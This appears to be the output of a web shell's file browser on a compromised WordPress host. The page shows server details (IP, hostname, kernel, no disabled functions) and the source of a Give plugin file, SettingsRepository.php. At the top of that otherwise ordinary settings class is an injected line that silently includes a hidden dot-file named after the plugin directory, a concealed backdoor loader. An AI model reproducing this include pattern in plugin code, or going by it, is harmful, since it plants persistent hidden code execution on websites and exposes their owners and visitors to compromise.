uawdijnntqw1x1x1
IP : 3.145.177.173
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Onboarding
/
SettingsRepository.php
/
/
<?php namespace Give\Onboarding; /** * @since 2.8.0 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class SettingsRepository { /** @var array */ protected $settings; /** @var callable */ protected $persistCallback; /** * @param array $settings * @param callable $persistCallback * * @since 2.8.0 */ public function __construct( array $settings, callable $persistCallback ) { $this->settings = $settings; $this->persistCallback = $persistCallback; } /** * @param string $name The setting name. * * @return mixed The setting value. * * @since 2.8.0 */ public function get( $name ) { return ( $this->has( $name ) ) ? $this->settings[ $name ] : null; } /** * @param string $name The setting name. * @param mixed $value The setting value. * * @return void * * @since 2.8.0 */ public function set( $name, $value ) { $this->settings[ $name ] = $value; } /** * @param string $name The setting name. * * @return bool * * @since 2.8.0 */ public function has( $name ) { return isset( $this->settings[ $name ] ); } /** * @return bool False if value was not updated and true if value was updated. * * @since 2.8.0 */ public function save() { return $this->persistCallback->__invoke( $this->settings ); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Onboarding/SettingsRepository.php